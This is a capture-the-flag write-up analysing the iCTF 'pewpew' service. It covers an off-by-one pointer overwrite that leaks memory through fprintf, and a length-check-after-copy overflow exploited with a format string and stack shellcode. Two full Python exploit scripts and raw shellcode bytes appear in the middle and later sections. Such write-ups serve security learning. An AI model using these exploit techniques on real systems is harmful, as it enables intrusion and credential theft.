Having only been there for an hour and a half, I didn't have much time for the pewpew service after nuclearboom. However, it felt way harder than what I would normally expect from an iCTF service, and that's why I came back on it today. The pewpew service is an x86 ELF, stripped, statically linked and likely compiled with -O2 and stackexec. The application manages users that can report daily measures. It uses a single shared memory space, protected by a mutex, to store and retrieve data among the different connections.
Pretty much everything happens in the new connection handler at 0x080499f0, which first performs a fread() of 0xfff characters and then performs several inlined strncmp against menu options: login, register, store, review, report, purge. All these actions are performed on the same struct of 0x2448 bytes. The error messages help to come up with its fields:
struct user_struct { char login[2048]; char password[2048]; char report_value[3724]; unsigned short int nb_reports; unsigned short int unused; int reports[365]; char ** reports; }
The function mainly works on a local struct at esp + 0x1854. When a user logs in, the first struct with a matching login/password is copied to the local one, and changes are applied back with the "store" command. The "report" command allows a user to add a new value to reports[++nb_reports], and the review discloses a specific reports value or all values. The purge command is designed to erase the struct associated to the user from the shared memory space.
The first thing I noticed is an off-by-one in the report part, allowing a user to enter 366 reports, and thus to overwrite the char ** reports pointer:
cmp [esp+2EE0h], 16Dh ja user_memory_limit
This pointer is not used often: set and used during the register process to copy the format string at 0x080C71EE into the report_value field, and used within the review subfunction at 0x080498b0 to display the format string:
mov eax, [edi+2444h] ; eax = controlled pointer cmovbe ebp, ecx movzx ebp, bp mov edx, [edi+ebp*4+1E90h] mov [esp+3Ch+arg_0], ebx ; FILE * mov [esp+3Ch+arg_4], eax ; fprintf main param mov [esp+3Ch+arg_C], edx movzx edx, al add ebp, edx mov [esp+3Ch+arg_8], ebp add esp, 2Ch pop ebx pop esi pop edi pop ebp jmp fprintf
Ok, so we control an arbitrary pointer used in an fprintf: we can disclose anything. I'm not sure about this, but as flags usually come from a legitimate use of the service, I guess they were either within the login, password or report_value fields. From there the exploit is pretty straightforward:
#!/usr/bin/python import socket import struct HOST = "localhost" PORT = 14389 def recv_until(sock, pattern): txt = "" while pattern not in txt: c = sock.recv(1) if len(c) == 0: return txt txt += c return txt s = socket.socket() s.connect((HOST, PORT)) recv_until(s, "~> ") def le_int(b): b += '\x00'*4 return struct.unpack("<I", b[0:4])[0] def disclose_address(s, to_disclose): s.sendall("register blablabla\n") recv_until(s, "~> ") s.sendall("store blablabla\n") recv_until(s, "~> ") for i in range(0, 365): s.sendall("report %d\n"%(1337)) recv_until(s, "~> ") s.sendall("report %u\n"%(to_disclose)) recv_until(s, "~> ") s.sendall("review 0\n") ret = recv_until(s, "~> ")[:-3] s.sendall("purge\n") recv_until(s, "~> ") return ret # Get shared memory address shma = le_int(disclose_address(s, 0x080f3e2c)) # Get all users nb_users = le_int(disclose_address(s, shma - 4)) # Disclose shared memory for i in range(0, nb_users): login = disclose_address(s, shma + i*0x2448) password = disclose_address(s, shma + i*0x2448 + 0x800) data = disclose_address(s, shma + i*0x2448 + 0x1000) print login, password, data
This does indeed work but is pretty damn slow, so I guess there is another, better way of exploiting this:
$ time ./pewpew_obo.py user testflag ACC=16763400: 4 1337 blablabla blablabla ACC=16763400: 76 1337 real 0m11.294s
Anyway, the second vuln proved to be more interesting and efficient to exploit. The store command is reponsible for copying the local struct into shared memory, as well as setting the user's password if none was yet provided.
mov [esp], eax call do_strlen cmp eax, 6 mov edx, eax jbe input_too_short cmp [esp+1854h], 0 jz loc_804A43C lea edx, [esp+1854h] mov [esp], edx mov [esp+8], eax mov dword ptr [esp+4], ebx call memcpy mov [esp], ebx call strlen mov edx, eax jmp loc_804A1F2 cmp edx, 7FFh ja boundary_limit_exc
This is the beginning of the store part, and we can see that the actual input length is checked after being stored into esp+1854h - the password field of the local struct. As the initial read is 0xfff bytes long, we have an overflow of roughly 0x800 characters: enough to overflow most of the report_value field. This field normally contains the format string displayed in the review sub function. Then again, the format string can be used to disclose the shared memory fields, but I wrote a classic exploit for this one, as I don't know where were the flags.
When the review_sub function jumps to fprintf, we are back on top of the connection handler stack. The stack is 0x34ac high and 3 registers are saved before ebp, so the saved base pointer - of main() - is at the word (0x34AC + 3*4 - 4)/4 = 3373. As the stack is executable, we just have to place a shellcode within the password field of the on-stack struct and then overwrite the return adress with a simple format string. All of these addresses are static with respect to main()'s ebp, so there is not much else to do:
#!/usr/bin/python import socket import re import struct HOST = "localhost" PORT = 14389 def recv_until(sock, pattern): txt = "" while pattern not in txt: c = sock.recv(1) if len(c) == 0: break txt += c return txt s = socket.socket() s.connect((HOST, PORT)) recv_until(s, "~> ") s.sendall("register blablabla\n") recv_until(s, "~> ") # handle_child's ebp at token 3373 s.sendall("store " + "A"*2048 + "DEAD%3373$xBEEF\n") recv_until(s, "~> ") s.sendall("report %d\n"%(1337)) recv_until(s, "~> ") s.sendall("review 0\n") ebp = int(re.search("DEAD(.*)BEEF", recv_until(s, "~> ")).group(1), 16) s.sendall("purge\n") s.close() s = socket.socket() s.connect((HOST, PORT)) recv_until(s, "~> ") s.sendall("register blablabla\n") recv_until(s, "~> ") return_address = ebp - 0x351C buffer_start = ebp - 0x34be #stack is exec => just redirect return address to shellcode addresses = "".join([struct.pack("<I", return_address + i) for i in range(0,4)]) dup_4 = "\x31\xc0\x31\xdb\x31\xc9\x80\xc1\x03\x80\xc3\x04\xfe\xc9\xb0\x3f\xcd\x80\xfe\xc1\xe2\xf6" shellcode = dup_4 + [exec shellcode] shellcode_address = buffer_start + len(addresses) + 10 last_byte = 0 fmt= "" # First usable token at offset 10 (token 24) for token in range(24,28): fmt += "%%%d$%dx%%%d$n"%(token, 0x100 - last_byte + (shellcode_address & 0xff) , token) last_byte = shellcode_address & 0xff shellcode_address >>= 8 s.sendall("store " + "B"*10 + addresses + shellcode + "A"*(2048 - 10 - len(addresses) - len(shellcode)) + fmt + "\n") recv_until(s, "~> ") s.sendall("report %d\n"%(1337)) recv_until(s, "~> ") s.sendall("review 0\n") print recv_until(s, "~> ")
The only restriction on the shellcode is that it must not contain \x00 or \x20 to work properly with the strlen and strtok functions. Testing with a simple ls shellcode:
$ ./pewpew.py pewpew pewpew.idb run.sh $
I heard there was a simple solution that I obviously missed. Still, this was a pretty hard service imho, as optimized, stripped and statically linked code is tough to reverse - even more for an attack-defense CTF where you have many things to do. At the same time, I'm glad to see both easily exploitable services such as nuclearboom and harder ones such as pewpew in an academic CTF.